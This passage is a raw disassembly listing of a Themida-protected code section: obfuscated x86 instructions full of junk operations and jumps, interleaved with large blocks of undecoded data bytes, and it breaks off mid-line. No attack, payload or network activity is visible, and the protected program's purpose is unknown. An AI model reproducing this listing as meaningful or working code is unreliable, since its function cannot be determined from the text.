XREF: Themida_:00559D6Dj sub edi, ebx add edi, 167313EEh push dword ptr [esp] pop ebx push eax mov eax, esp jmp loc_55546E ; --------------------------------------------------------------------------- aRitsD3buC db 'R┴БS╩',27h,'\d3│Ц╟"≈',0 dw 0E381h dd 558B730Eh, 0F9E3814Bh, 816D5163h, 0AE9C0BC3h, 6276E992h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2BA: ; CODE XREF: Themida_:0055B12Cj push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp and ecx, eax jmp loc_550A52 ; --------------------------------------------------------------------------- db 8Bh dd 39E92414h, 52000002h, 0FF99B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B2E5: ; CODE XREF: Themida_:00552DB0j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_552021 ; --------------------------------------------------------------------------- loc_55B2FB: ; CODE XREF: Themida_:00556FFCj mov ecx, 7BAB049Ch jmp loc_5558D1 ; --------------------------------------------------------------------------- loc_55B305: ; CODE XREF: Themida_:00558C46j mov esp, [esp] sub esp, 4 jmp loc_5551E3 ; --------------------------------------------------------------------------- db 40h dd 0FF8BA3E9h, 7AE957FFh, 80FFFFCDh, 0C7802BC7h, 0E9FA8830h dd 0FFFFA657h, 4C481h, 0F1E90000h, 0BDFFFF5Eh, 2, 2C8BEB89h dd 4C48324h, 4645C581h, 0DD016012h, 4645BF57h, 0FD296012h dd 0FF93A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B359: ; CODE XREF: Themida_:00553DE6j add eax, 68D66F2Dh jmp loc_555219 ; --------------------------------------------------------------------------- loc_55B363: ; CODE XREF: Themida_:005535D5j xor esi, 6E609B9h mov eax, esi pop esi dec eax add eax, 1 sub esp, 4 mov [esp], ebp mov ebp, 22F453E0h jmp loc_554BD1 ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 24248B24h, 4A30F66h, 0AFE99C24h dd 66FFFF56h, 8BD9205Ah, 0C481241Ch, 4, 9AE980h, 240C8BC8h dd 6804C483h, 87Dh, 0B5240C89h, 0D39AE920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B3BE: ; CODE XREF: Themida_:00550ADAj mov esi, esp jmp loc_551426 ; --------------------------------------------------------------------------- db 1, 0FEh, 5Fh dd 2C681h, 34870000h, 837E924h, 0F02C0000h, 0E0B55153h dd 0EF3032B7h, 80EFD059h, 686676F7h, 8966194Ch, 54F6241Ch dd 5B660124h, 0C780C7FEh, 5251666Fh, 72E9FA88h, 55FFFF56h dd 0FFFF2EE9h, 1A35B9FFh, 0CB297F48h, 0E9008F59h, 0FFFF562Eh dd 5166DE2Ch, 0FFAC2CE9h, 3C875AFFh, 24248B24h, 592434FFh dd 92368h, 240C8900h, 88E9E189h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B43B: ; CODE XREF: Themida_:0055142Cj add esi, 4 xchg esi, [esp] mov esp, [esp] push 4CC2h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 push 15FFh jmp loc_5596E7 ; --------------------------------------------------------------------------- loc_55B464: ; CODE XREF: Themida_:00552BACj shr ebp, 8 add ebp, 39406E95h sub edi, ebp pop ebp and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp or eax, eax jz loc_5571F0 push eax jmp loc_55B66B ; --------------------------------------------------------------------------- dd 8306EAC1h, 0EA81FFEAh, 6F0A1295h, 0D957C281h, 0D0016D55h dd 148EE9h, 77B95100h, 5229CA2Fh, 900669BAh, 0F6EA8179h dd 314FC5D6h, 0CA015AD1h, 24148759h, 5224248Bh, 0D3283CB2h dd 51C3285Ah, 0F4C2E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B4E2: ; CODE XREF: Themida_:00559756j xchg ebx, [esp] mov esp, [esp] jmp loc_5566B9 ; --------------------------------------------------------------------------- db 89h, 0CEh, 59h dd 1B80C681h, 0FFE92C80h, 66FFFF58h, 5724048Bh, 2434FF54h dd 4C4835Fh, 769E9h, 5052AC00h, 0E988B353h, 0FFFFD883h dd 4C481h, 0C2810000h, 4, 0FF71E0E9h, 5EF729FFh, 6FABEB81h dd 0FB291B49h, 6FABC381h, 3C8B1B49h, 4C48124h, 81000000h dd 0F55A35C3h, 0ADEB817Eh, 0E91A3436h, 1913h, 0EB81E3D1h dd 904E666Eh, 2434C281h, 0DA2972EBh, 890BF57h, 0CF8158D4h dd 5A563EBDh, 0CF81D7F7h, 215169B4h, 1234EF81h, 0CF810951h dd 2D8B2BEDh, 0FFA37AE9h, 24248BFFh, 0FF54B5E9h, 6CB81FFh dd 81725037h, 3C7C7AF3h, 0F3BD554Ah, 311A164Fh, 19C1E9EBh dd 1C890000h, 876824h, 11E92870h, 81FFFFEBh, 945705EAh dd 81C20162h, 945705C2h, 0BB535862h, 4, 0FFE29EE9h, 242C8BFFh dd 4C481h, 0D2F70000h, 0C106EAC1h, 0EA8105E2h, 47074883h dd 107EBD55h, 0EA290179h, 0FF56F7E9h, 0D5EE81FFh, 8B67F357h dd 0C8E9243Ch, 0ACFFFF71h, 0B6525351h, 0E942B339h, 0C0h ; --------------------------------------------------------------------------- loc_55B610: ; CODE XREF: Themida_:00556B27j mov ebx, 4ECC21B7h mov ebp, 3B791F33h xor ebp, ebx pop ebx shr ebp, 4 push edx mov edx, 5FB64A16h jmp loc_559B53 ; --------------------------------------------------------------------------- db 58h dd 0FF60FBE9h, 2EEC1FFh, 0FF57E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B639: ; CODE XREF: Themida_:0055849Ej mov edi, ebp mov ebp, [esp] jmp loc_556DD1 ; --------------------------------------------------------------------------- db 68h dd 2951h, 0FF242C89h, 0FF042474h, 0E95D2434h, 0FFFFA1ECh dd 1C8BDE01h, 4C48324h, 3304EE83h, 0D4E92434h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B66B: ; CODE XREF: Themida_:0055B497j mov eax, 1Ch sub eax, 585E7215h jmp loc_55C1FE ; --------------------------------------------------------------------------- dw 875Ah dd 248B2404h, 89666424h, 53BCE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B68A: ; CODE XREF: Themida_:0055500Cj pop ecx pop eax push 3045h mov [esp], esi pop eax push dword ptr [esp] pop esi push ecx jmp loc_55705C ; --------------------------------------------------------------------------- db 5Dh dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0AA2E9h, 9BB15100h dd 0E9BCE180h, 76Eh ; --------------------------------------------------------------------------- loc_55B6C0: ; CODE XREF: Themida_:005567F9j pop esp mov [esp], ebx push edx push 0B671CEFh pop edx jmp loc_5513F2 ; --------------------------------------------------------------------------- dd 0E95AF330h, 0FFFFDB91h ; --------------------------------------------------------------------------- loc_55B6D8: ; CODE XREF: Themida_:00553CB7j mov esi, 1F0C7A18h sub esi, ebx pop ebx and eax, esi push dword ptr [esp] jmp loc_55A0D4 ; --------------------------------------------------------------------------- dw 0C331h dd 0E9D90158h, 964h ; --------------------------------------------------------------------------- loc_55B6F4: ; CODE XREF: Themida_:00554B1Aj mov eax, 4C0C5AB9h sub eax, 0DD05353h or eax, 369F1DFFh inc eax or eax, 41BA7323h add eax, 80408CDCh add edi, eax mov eax, [esp] jmp loc_557B46 ; --------------------------------------------------------------------------- dd 525EF129h, 0DF196CBAh, 5AD13146h, 6EB2E181h, 0E9576250h dd 0FFFFD608h ; --------------------------------------------------------------------------- loc_55B730: ; CODE XREF: Themida_:005539CAj sub esp, 4 jmp loc_551FC3 ; --------------------------------------------------------------------------- db 45h dd 6845h, 2C810000h, 0BE243D24h, 242C2939h, 3D240481h dd 8B39BE24h, 7EE9242Ch, 0FFFFFFA0h, 58042474h, 8B24048Fh dd 34FF2424h, 0EC835924h, 24148904h, 7E3A68h, 24248900h dd 4240483h, 8124148Bh, 4C4h, 4B85000h, 0E9000000h, 0FFFFFE27h dd 0DDE9D729h, 68FFFF7Ah, 275F6477h, 83FBE95Fh, 0C15BFFFFh dd 0CF8103E7h, 164E5F28h, 6457CF81h, 0EF8132B6h, 52C7B4D8h dd 3C8BFE89h, 4C48124h, 81000000h, 374B23EEh, 93F5E96Ch dd 1BBAFFFFh, 536DF638h, 660355BBh, 59C3810Ch, 810C304Ah dd 8C182EEBh, 61EB813Bh, 296F1401h, 241C8BDAh, 8904C483h dd 0CF295AD1h, 0E92434FFh, 0FFFF7CBFh, 0E924048Bh, 0FFFF66CFh dd 0F096E953h, 0D901FFFFh, 7942C181h, 0FFE97FA6h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B81B: ; CODE XREF: Themida_:00559798j mov esi, 4BF213ABh push edx mov edx, 68B0182Fh jmp loc_558FB4 ; --------------------------------------------------------------------------- db 59h dd 0FFA3A2E9h, 455F68FFh, 6FE90000h, 68FFFFFDh, 4D19h dd 0BF243C89h, 4AD74A00h, 99E9FD01h, 53FFFFD1h, 8904EC83h dd 0E9532434h, 0C6Eh, 0FFEA815Fh, 57FFFFFFh, 0F82E9h db 0 ; --------------------------------------------------------------------------- loc_55B869: ; CODE XREF: Themida_:00557C8Ej push 0A0Eh mov [esp], edi mov edi, 7F0404CBh and edi, 4B9360FEh push edx push esi push 563C1F07h pop esi or esi, 14F44A15h jmp loc_557B21 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 2474FF24h, 1594E904h, 0C890000h, 35AE924h dd 2C870000h, 24248B24h, 0FFC986E9h, 240481FFh, 4, 592434FFh dd 4C481h, 0C1810000h, 4, 2BE56h, 72E90000h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B8D3: ; CODE XREF: Themida_:00555E82j push edx jmp loc_55BC65 ; --------------------------------------------------------------------------- loc_55B8D9: ; CODE XREF: Themida_:0055CFB6j or edi, 513E3E8Bh inc edi jmp loc_552498 ; --------------------------------------------------------------------------- loc_55B8E5: ; CODE XREF: Themida_:00558221j add ecx, eax sub ecx, 73CD47E9h pop eax sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_553CA9 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF5146h, 0E95DEA89h, 0FFFF7D09h, 242C3166h, 242C3366h dd 242C3166h, 7E536866h, 242C8966h, 0F066866h, 240C8966h dd 8B665D66h, 8953240Ch, 4B951E3h, 1000000h, 3DE959CBh dd 57FFFFC3h, 0FF8759E9h, 51C601FFh, 3061DBB9h, 3AE18120h dd 81331414h, 82FC3AE9h, 59CE01ECh, 502EBA52h, 0E2C168AFh dd 4AD2F702h, 5104EAC1h, 0FFD06DE9h, 4C181FFh, 68000000h dd 6DC2h, 50241C89h, 249A6852h, 815A4F29h, 6DE0D9C2h, 4EC83F4h dd 0FF9458E9h, 0D1E95CFFh, 89FFFF75h, 4BF57E3h, 1000000h dd 87CFE9FBh, 0C128FFFFh, 0FF5DE0E9h, 32B850FFh, 551582Bh dd 0FFFFFFFFh, 2B303540h, 0C2895158h, 5AD00158h, 8B240487h dd 8B662424h, 0EC83240Ch, 24348904h, 39E95E54h, 81FFFF9Ch dd 674268C2h, 14335E6Ah, 0B48DE924h, 0C8BFFFFh, 4C48124h dd 80000000h, 0F83094EFh, 83241C8Bh, 436804C4h, 89000051h dd 0BEE92414h, 57FFFF69h, 0F989DF89h, 0F9015B5Fh, 24048150h dd 46B925DAh, 2981018Fh, 46B925DAh, 55240C8Bh, 0FF9167E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BA2D: ; CODE XREF: Themida_:0055BD91j xor edi, 3AF85777h sub eax, edi pop edi jmp loc_558932 ; --------------------------------------------------------------------------- db 89h dd 0EB4CE9F7h, 0EA88FFFFh, 0EE686659h, 5620E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA4E: ; CODE XREF: Themida_:00554070j sub edi, 0FF76A793h mov ebx, edi pop edi and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 0Ah push 11F6h jmp loc_55913B ; --------------------------------------------------------------------------- loc_55BA6F: ; CODE XREF: Themida_:00559972j xor [esp], ecx jmp loc_559944 ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 0C481243Ch, 4, 4C781h, 0B9510000h, 4, 8759CF29h dd 895C243Ch, 0A7E9240Ch, 89FFFF4Fh, 0C78957F8h, 3C8BF989h dd 4C48124h, 58000000h, 2E1C15Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4C17345Dh jmp loc_55811E ; --------------------------------------------------------------------------- dw 0CC68h dd 0E900002Fh, 0FFFFA59Ch ; --------------------------------------------------------------------------- loc_55BAE0: ; CODE XREF: Themida_:0055657Cj xor eax, esi not esi push 930h mov [esp], eax sub esp, 4 mov [esp], esi push dword ptr [esp] jmp loc_552191 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFEC95E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB05: ; CODE XREF: Themida_:0055CCE4j mov [esp], edx push esi mov edx, [esp] add esp, 4 jmp loc_55CEE0 ; --------------------------------------------------------------------------- loc_55BB14: ; CODE XREF: Themida_:00553E70j push 378A6E09h pop eax xor eax, 4C6A7161h inc eax and eax, 78CB369Fh push ecx mov ecx, 78C015E5h push ebp mov ebp, 5DD2D0Bh jmp loc_55598B ; --------------------------------------------------------------------------- loc_55BB36: ; CODE XREF: Themida_:00559A1Fj mov ebp, ebx pop ebx xor ebp, 0F7911FBh sub ebp, 63EF4BF8h jmp loc_55A50C ; --------------------------------------------------------------------------- dw 5146h dd 658881B9h, 8BCE01E6h, 0C483240Ch, 0B3A0E904h, 48BFFFFh dd 61685624h, 89000077h, 4832424h, 0E95E0424h, 0FFFFAAF1h dd 241C8B66h, 0CBF3E955h, 8059FFFFh, 0EC80A1C4h, 0C4801Bh dd 58E100h, 240C8BCBh, 4C481h, 0C3000000h, 4EC81h, 4890000h dd 8047B424h, 0E32818EBh, 18B050h, 685858C3h, 1292h, 0BE243489h dd 3FCh, 56A8BA52h, 0F28169FEh, 5CAA0C02h, 7A4BBA52h, 0E28108B6h dd 51D115F1h, 0F281D2F7h, 0ED1B91D3h, 0FFFBAFE9h, 4E6C0FFh dd 0FF5714E9h, 5ACE81FFh, 0E934EF03h, 0FFFFC09Fh, 11B3CF81h dd 0E947555Eh, 0FFFF9D30h, 0AA98E953h, 0C0FEFFFFh, 0FF50B0E9h dd 24248BFFh, 0FF6AB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC15: ; CODE XREF: Themida_:0055400Fj push 7F99h mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 747E4D11h xor ebp, 747E4D15h jmp loc_55840A ; --------------------------------------------------------------------------- dw 3433h dd 5320E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BC3E: ; CODE XREF: Themida_:00550CA8j dec eax jmp loc_55867E ; --------------------------------------------------------------------------- dd 48BE530h, 4C48124h, 28000000h, 240C8BE8h, 4C481h, 0EA2C0000h dd 0EA04D000h, 0FF7BF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC65: ; CODE XREF: Themida_:0055B8D4j push ecx pop edx jmp loc_559D52 ; --------------------------------------------------------------------------- dd 41BE6656h, 6EA8E96Dh, 5251FFFFh, 0A24326BAh, 5AD1894Dh dd 566FC981h, 0E9C10E8Bh, 0E9505508h, 0FFFF9ABEh ; --------------------------------------------------------------------------- loc_55BC90: ; CODE XREF: Themida_:00553084j push 37514F94h pop edi sub edi, 519953D3h push ecx jmp loc_555639 ; --------------------------------------------------------------------------- loc_55BCA2: ; CODE XREF: Themida_:00556DDAj add esi, 4 xchg esi, [esp] pop esp and eax, edi pop edi or edx, eax shl edx, 1 push 6E5Bh jmp loc_5564F9 ; --------------------------------------------------------------------------- loc_55BCBD: ; CODE XREF: Themida_:0055218Cj pop bx jmp loc_555C6E ; --------------------------------------------------------------------------- dd 6F5668h, 24348900h, 0D64574BEh, 81DEF72Ch, 0E4383AC6h dd 0BD7CE932h, 0E959FFFFh, 0FFFF81A4h, 0E905E3C0h, 0FFFF7123h dd 4BD55h, 6C010000h, 0E95D0424h, 0FFFFD92Dh, 66CE0966h dd 0EEC16659h, 0CE816602h, 0F768070Fh, 8900002Ah, 0E956240Ch dd 423h, 0D07E955h, 0B8500000h, 59F67C2Bh, 9307E0C1h, 3593D3F7h dd 3B5AFE83h, 0FFAA5EE9h, 15A52DFFh, 0B9510A99h, 27C53913h dd 1FDFE181h, 0F1815329h, 1819FB4Fh, 159C831h, 24048BC7h dd 0FFE858E9h, 81E289FFh, 4C2h, 4C28300h, 5C241487h, 4BF57h dd 0BB530000h, 583079F1h, 15BDE01h, 0F1B951FEh, 29583079h dd 7ADBE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD86: ; CODE XREF: Themida_:0055AEB8j mov edi, 34534FC9h or edi, 676269E1h jmp loc_55BA2D ; --------------------------------------------------------------------------- dw 0E6C1h dd 8EEC106h, 7AABF681h, 0EE810DF3h, 0D2C37D57h, 348BF301h dd 4C48324h, 0F381DBF7h, 0F745EAAFh, 354CD72Dh, 5D8015Bh dd 5B354CD7h, 81241C8Bh, 4C4h, 4C08300h, 0FFBA6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BDD5: ; CODE XREF: Themida_:0055408Aj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_550A46 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 5468240Ch, 590E6004h, 99F5E957h, 0C90DFFFFh dd 5786320h, 0F0B4BA01h, 5258C189h, 0DBF178BAh, 5AD089D2h dd 70E9C801h, 81FFFFDBh, 261064F5h, 0B0B4E902h, 0D9F6FFFFh dd 66A7E980h, 0E934B050h, 0FFFFFB6Ah, 0FF21C781h, 0FE01E4C1h dd 0C6814E5Fh, 0E69F027Bh, 565EF201h, 0FFC2E2E9h, 243489FFh dd 2BEh, 8BF20100h, 0C4832434h, 24143304h, 33241431h, 248B2414h dd 0E749E924h, 0CBE9FFFFh, 88FFFF4Bh, 5AF488CEh, 58E63059h dd 148BF588h, 72EFE924h, 85CFFFFh, 0E99C2404h, 0FFFF4BAEh dd 0FF4BA9E9h, 0E9CF01FFh, 0EFAh ; --------------------------------------------------------------------------- loc_55BEA4: ; CODE XREF: Themida_:00558DF9j sub [esp], dl jmp loc_55596D ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 42236824h, 48B2B30h, 4C48124h, 5000000h dd 1, 0FF7E5BE9h, 15D5DFFh, 0FBE959CDh, 66FFFF4Ch, 5624048Bh dd 0FF5AC5E9h, 4EC83FFh, 0E9243489h, 0D2Ch, 97C18166h dd 0CE31669Fh, 7BDAE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEFA: ; CODE XREF: Themida_:0055509Cj add esp, 4 mov eax, [esp] jmp loc_5581B5 ; --------------------------------------------------------------------------- dd 0FAE95759h, 50FFFF7Eh, 1AF1BD55h, 9EB824CAh, 29954764h dd 28E95DE8h, 0E9FFFFE2h, 0FFFF4B1Eh, 4C581h, 19680000h dd 8900007Bh, 89E9240Ch, 0E9FFFFFDh, 0FFFF4B06h, 0E6D14646h dd 0FFFFEE81h, 0EEC1FFFFh, 3DF68108h, 0E9DA9D74h, 0FFFF6C63h ; --------------------------------------------------------------------------- loc_55BF58: ; CODE XREF: Themida_:00556D12j or edx, eax shl edx, 1 push 0C67h mov [esp], ebp mov ebp, 1 push edx jmp loc_553E6A ; --------------------------------------------------------------------------- db 88h dd 59EC88D5h, 48BE388h, 4C48124h, 0E9000000h, 0FFFFE3B1h dd 532FF681h, 410530ABh, 12B7A15h, 15412DF0h, 0E95E2B7Ah dd 0FFFF583Dh, 66F1F766h, 6627C368h, 66241489h, 97E99C50h dd 80FFFF4Ah, 0D52067C2h, 0FFED6BE9h, 386203FFh, 0FF954EE9h dd 0C8B66FFh, 4EC8324h, 9DAE9h, 0ACEF8100h, 122D409h, 776DE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BFDA: ; CODE XREF: Themida_:0055779Dj pop eax add ecx, 4 xchg ecx, [esp] pop esp push edx sub esp, 4 mov [esp], eax mov eax, 122A70F5h push 7CBFh mov [esp], esi jmp loc_555077 ; --------------------------------------------------------------------------- dw 0C131h dd 34E9C831h, 89FFFF4Ch, 0E9512424h, 0FFFF5B58h ; --------------------------------------------------------------------------- loc_55C010: ; CODE XREF: Themida_:00557B4Fj mov ebp, 25C027EDh xor edi, ebp pop ebp mov eax, edi mov edi, [esp] add esp, 4 jmp loc_552520 ; --------------------------------------------------------------------------- dd 0F791915Ah, 0CEABE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C032: ; CODE XREF: Themida_:00559EA7j add edi, ecx add edi, 79C9685Bh sub edi, 5434123Fh mov ecx, [esp] add esp, 4 mov edx, edi pop edi jmp loc_5579A9 ; --------------------------------------------------------------------------- loc_55C051: ; CODE XREF: Themida_:0055CEE1j xor ebx, edx jmp loc_555262 ; --------------------------------------------------------------------------- dd 240C875Bh, 6424248Bh, 0DFE90288h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C067: ; CODE XREF: Themida_:00553BEFj shl eax, 8 xor eax, 7E566748h dec eax sub eax, 0C316628Ah add ebx, eax pop eax pop edi sub eax, ebx mov ebx, [esp] add esp, 4 push 61C0h mov [esp], edi push edx push 2A451AC1h pop edx push esi mov esi, 0 sub esi, 3E8C4EB6h sub esi, edx add esi, 3E8C4EB6h xchg esi, edx pop esi push ecx mov ecx, 92A7C8Bh jmp loc_55ABC1 ; --------------------------------------------------------------------------- dw 8B66h dd 4F682404h, 89000053h, 4EE9240Ch, 53FFFF7Ch, 0FB2ED2BBh dd 45CB8179h, 0F77C4702h, 0BAC381D3h, 81645246h, 0ACE822C3h dd 0EFACE919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C0E2: ; CODE XREF: Themida_:00551E5Dj push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_559105 ; --------------------------------------------------------------------------- loc_55C0F4: ; CODE XREF: Themida_:005574DFj add esi, ebp jmp loc_5540BE ; --------------------------------------------------------------------------- loc_55C0FB: ; CODE XREF: Themida_:00559ED2j xchg edi, ecx pop edi push ecx dec dword ptr [esp] pop ecx or ecx, 71EF3C05h or ecx, 4C7F5E30h push eax mov eax, 0F599A9FAh xor ecx, eax pop eax sub ebx, ecx mov ecx, [esp] add esp, 4 add ebx, edi push edi mov edi, 866564Fh add ebx, edi pop edi mov ecx, [ebx] mov ebx, [esp] add esp, 4 jmp loc_552EC0 ; --------------------------------------------------------------------------- db 66h dd 6603DBBEh, 73BEE681h, 63E68166h, 0EEC16656h, 0C6816602h dd 2EE93733h, 43FFFFADh, 1BF57h, 0FB010000h, 0FF4EFDE9h dd 38C380FFh, 81E18951h, 4C1h, 4BD5500h, 29000000h, 0C875DE9h dd 0DDE95C24h, 0B9FFFFE3h, 5A835F3Bh, 5C91BB53h, 0C1813878h dd 7197537Bh, 0E981D929h, 7197537Bh, 0E771E95Bh, 9FE9FFFFh db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1A7: ; CODE XREF: Themida_:00552F2Bj pop ecx not edx neg edx inc edx push ebp sub esp, 4 mov [esp], ecx push 4D1F55CAh pop ecx dec ecx sub ecx, 1 xchg esi, ecx jmp loc_552A49 ; --------------------------------------------------------------------------- dd 8B240C87h, 0E2E92424h, 33FFFFCEh, 15E92404h, 0B8FFFF87h dd 74627DE7h, 8B58C301h, 31E92434h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C1EB: ; CODE XREF: Themida_:00555499j xor ebx, 52BA268Ah jmp loc_550E21 ; --------------------------------------------------------------------------- dw 0C283h dd 9DB6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1FE: ; CODE XREF: Themida_:0055B675j push 1E4h jmp loc_5516D2 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFC156h, 4B951h, 4C010000h, 0FF590424h dd 148B2434h, 4C48324h, 4C481h, 0C2810000h, 4, 8704C283h dd 248B2414h, 946EE924h, 0E980FFFFh, 24C180BEh, 0EBB9E95Bh dd 0B850FFFFh, 4, 4244401h, 0FFB655E9h, 6A6855FFh, 5D108707h dd 520C581h, 0EDC1343Bh, 0FBB5E905h, 5455FFFFh, 4AE9505Dh dd 33FFFF98h, 1C31241Ch, 241C3324h, 0FF24248Bh, 56582434h dd 0E9525E54h, 0FFFF631Eh, 47B0E95Ch, 3433FFFFh, 24248B24h dd 5E08950h, 4, 0E904E883h, 0FFFF862Ah ; --------------------------------------------------------------------------- loc_55C2AC: ; CODE XREF: Themida_:0055C74Aj add esp, 4 sub esp, 4 mov [esp], edx mov eax, [esp] sub esp, 4 jmp loc_559184 ; --------------------------------------------------------------------------- db 81h dd 196E7CE9h, 0ACBD5553h, 12A5200h, 0FBF7E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C2D6: ; CODE XREF: Themida_:00550B71j pop edx push ecx jmp loc_553AC4 ; --------------------------------------------------------------------------- dd offset dword_41525C+0Ch align 2 dw 3C89h dd 3923BF24h, 0EFC12A74h, 0F902E905h, 515BFFFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55A31B ; --------------------------------------------------------------------------- dd 8904EC83h, 0FCE9241Ch, 0FFFFFFF0h, 669D1C77h, 24041058h dd 4730E99Ch, 0EC81FFFFh, 4, 0FFAA67E9h, 80685AFFh, 89000024h dd 53BA2414h, 0C178FB04h, 0B95106EAh, 62886EFAh, 2959CA01h dd 0A0CBE9D5h, 3C89FFFFh, 4BF24h, 7C010000h, 0A4E90424h dd 0B5FFFFB3h, 0E96EB07Bh, 1C5h, 81241C8Bh, 4C4h, 4C38100h dd 56000000h, 4BEh, 8BF32900h, 0C4812434h, 4, 0E9241C87h dd 0FFFFA23Fh, 8B240487h, 0A30F2424h, 0E99C2404h, 0FFFF46B2h dd 0C8BC829h, 4C48324h, 0FF4DEDE9h, 0CDF281FFh, 216FD00Dh dd 0EBC15AD3h, 6DE94306h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C3B3: ; CODE XREF: Themida_:00550BAAj or edx, eax shl edx, 1 jmp loc_55B24C ; --------------------------------------------------------------------------- loc_55C3BC: ; CODE XREF: Themida_:0055C670j mov edi, 0A888B031h add edi, ecx pop ecx add eax, edi mov edi, [esp] add esp, 4 push dword ptr [edi+eax*4] push 4120h mov [esp], esi push 6A8Fh mov [esp], ebp push 4D6D204Dh jmp loc_555EFA ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 3 dd 0B24F581h, 0C1810505h, 4B0E370Fh, 0E981E901h, 4B0E370Fh dd 4C1815Dh, 87000000h, 45E9240Ch, 66FFFFB7h, 0E9242C33h dd 0FFFFB0CCh, 4EC835Dh, 0BB241C89h, 35FE6F10h, 90F4C381h dd 0DA01CA01h, 0E9241C8Bh, 0FFFFEEF8h, 57240C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 0C4815C24h, 4, 5BDF68h, 243C8900h dd 67DB68h, 0D722E900h, 0BA52FFFFh, 2CC56E10h, 740E94Ah dd 0D2F70000h, 35C28142h, 31574779h, 0F3895AD6h, 0E9DE015Eh dd 0FFFF85BBh, 626A4BB9h, 0E9BB5360h, 81664055h, 79F179EBh dd 5BD92929h, 4244C29h, 0FFDB62E9h, 0E9C288FFh, 0FFFF8960h dd 8704C283h, 248B2414h, 0BAED8124h, 293737B0h, 4875DE8h dd 89665C24h, 50662414h, 457CE99Ch, 5BBBFFFFh, 0BE19BA5Ah dd 28F91424h, 815BDE01h, 49B5DDC6h, 5EF3890Eh, 2414F753h dd 55E9435Bh, 89FFFF7Ah, 0B1E92434h, 5BFFFF8Ah, 7889685Bh dd 1C890000h, 73B324h, 2434FFD8h, 83241C8Bh, 9DE904C4h dd 5BFFFFD8h, 288DBA52h, 0CA814DAAh, 799A3A5Ch, 0FFAA01E9h dd 59E828FFh, 0D7885366h, 88C18851h, 0BCE959CAh, 89FFFFCEh dd 0BD5556E3h, 753F51C1h, 0F581D5F7h, 7BCB1384h, 0ACED814Dh dd 89EC69AFh, 0EEC15DEEh, 558BE906h, 0D25CFFFFh, 0E99C2424h dd 0FFFF44E6h ; --------------------------------------------------------------------------- loc_55C560: ; CODE XREF: Themida_:0055C899j push edx mov dh, 0DEh mov ah, 1Fh add ah, dh pop edx push ecx push ebx mov bh, 98h not bh dec bh xor bh, 0B8h mov ch, bh pop ebx jmp loc_553E43 ; --------------------------------------------------------------------------- loc_55C57B: ; CODE XREF: Themida_:0055A896j xor edx, 33404D0Ch push eax jmp loc_55AEA6 ; --------------------------------------------------------------------------- db 33h dd 665C2404h, 0E9240C89h, 0FFFF44B2h, 6AB7E952h, 0B951FFFFh dd 6C1903C6h, 3C2E981h, 0CA016C19h, 0EF07E959h, 0CBB1FFFFh dd 0FE73B252h, 88E280CAh, 8057C280h, 0C280C5E2h, 5AD12861h dd 804EE980h, 0EC830AE9h, 24148904h, 0D388CA88h, 9A3E9h dd 15092D00h, 348B3022h, 4C48324h, 0FFD3F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C5E9: ; CODE XREF: Themida_:00555E2Fj pop esi push ecx jmp loc_558E83 ; --------------------------------------------------------------------------- dd 0F456ED81h, 0E9818268h, 2A5200ACh, 0FF87DBE9h, 1AE95EFFh dd 83000005h, 